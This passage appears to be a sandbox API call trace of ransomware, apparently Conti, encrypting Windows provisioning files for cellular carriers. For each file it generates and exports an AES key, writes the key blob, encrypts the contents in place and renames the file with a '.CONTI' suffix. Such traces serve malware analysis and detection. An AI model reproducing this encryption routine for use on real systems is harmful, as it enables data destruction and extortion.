	[0114.233] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4f72c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b4f72c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.239] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.239] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2da, lpOverlapped=0x0) returned 1
	[0114.239] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2da, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2e0) returned 1
	[0114.239] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.239] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.239] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.239] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4f720*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b4f720*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.239] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.239] CloseHandle (hObject=0x30c) returned 1
	[0114.239] GetProcessHeap () returned 0x1720000
	[0114.239] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.239] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml"
	[0114.239] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.239] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\73__Connections_Cellular_Telefonica (Colombia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\73__connections_cellular_telefonica (colombia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.240] GetProcessHeap () returned 0x1720000
	[0114.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.240] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.240] GetProcessHeap () returned 0x1720000
	[0114.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9648 | out: hHeap=0x1720000) returned 1
	[0114.240] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.240] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x17c7b30) returned 1
	[0114.240] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x483fb8c | out: pbData=0x6b51044*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.241] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.241] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.241] GetLastError () returned 0x0
	[0114.241] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=657) returned 1
	[0114.242] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x291
	[0114.242] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.242] SetEndOfFile (hFile=0x30c) returned 1
	[0114.242] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.242] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.242] WriteFile (in: hFile=0x30c, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.245] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.245] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x291, lpOverlapped=0x0) returned 1
	[0114.245] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x291, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2a0) returned 1
	[0114.245] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.245] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2a0, lpOverlapped=0x0) returned 1
	[0114.245] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.245] WriteFile (in: hFile=0x30c, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.245] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.245] CloseHandle (hObject=0x30c) returned 1
	[0114.245] GetProcessHeap () returned 0x1720000
	[0114.245] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.245] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml"
	[0114.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.246] GetProcessHeap () returned 0x1720000
	[0114.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.246] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.246] GetProcessHeap () returned 0x1720000
	[0114.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55e00 | out: hHeap=0x1720000) returned 1
	[0114.246] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.246] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b50290 | out: phKey=0x6b50290*=0x17c7b30) returned 1
	[0114.246] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50294, pdwDataLen=0x483fb8c | out: pbData=0x6b50294*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.247] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.248] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.248] GetLastError () returned 0x0
	[0114.248] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=720) returned 1
	[0114.248] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0114.248] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.248] SetEndOfFile (hFile=0x30c) returned 1
	[0114.248] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.248] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.248] WriteFile (in: hFile=0x30c, lpBuffer=0x6b50294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b50294*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.255] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.255] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.255] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d0, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2e0) returned 1
	[0114.255] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.255] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.255] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.255] WriteFile (in: hFile=0x30c, lpBuffer=0x6b50288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b50288*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.255] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.255] CloseHandle (hObject=0x30c) returned 1
	[0114.255] GetProcessHeap () returned 0x1720000
	[0114.255] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.256] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml"
	[0114.256] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.256] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\76__Connections_Cellular_Vodacom Congo (Congo (DRC))_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\76__connections_cellular_vodacom congo (congo (drc))_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.256] GetProcessHeap () returned 0x1720000
	[0114.256] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.256] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.256] GetProcessHeap () returned 0x1720000
	[0114.256] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c97a0 | out: hHeap=0x1720000) returned 1
	[0114.256] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.256] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51288 | out: phKey=0x6b51288*=0x17c7b30) returned 1
	[0114.256] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5128c, pdwDataLen=0x483fb8c | out: pbData=0x6b5128c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.257] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.257] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.258] GetLastError () returned 0x0
	[0114.258] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=656) returned 1
	[0114.258] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x290
	[0114.258] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.258] SetEndOfFile (hFile=0x30c) returned 1
	[0114.258] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.258] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.258] WriteFile (in: hFile=0x30c, lpBuffer=0x6b5128c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b5128c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0114.263] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.263] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x290, lpOverlapped=0x0) returned 1
	[0114.263] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x290, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2a0) returned 1
	[0114.263] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.263] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2a0, lpOverlapped=0x0) returned 1
	[0114.263] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.264] WriteFile (in: hFile=0x30c, lpBuffer=0x6b51280*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b51280*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0114.264] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.264] CloseHandle (hObject=0x30c) returned 1
	[0114.264] GetProcessHeap () returned 0x1720000
	[0114.264] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.264] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml"
	[0114.264] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.264] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\78__Connections_Cellular_Tele2 (Croatia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\78__connections_cellular_tele2 (croatia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.265] GetProcessHeap () returned 0x1720000
	[0114.265] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.265] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0114.265] GetProcessHeap () returned 0x1720000
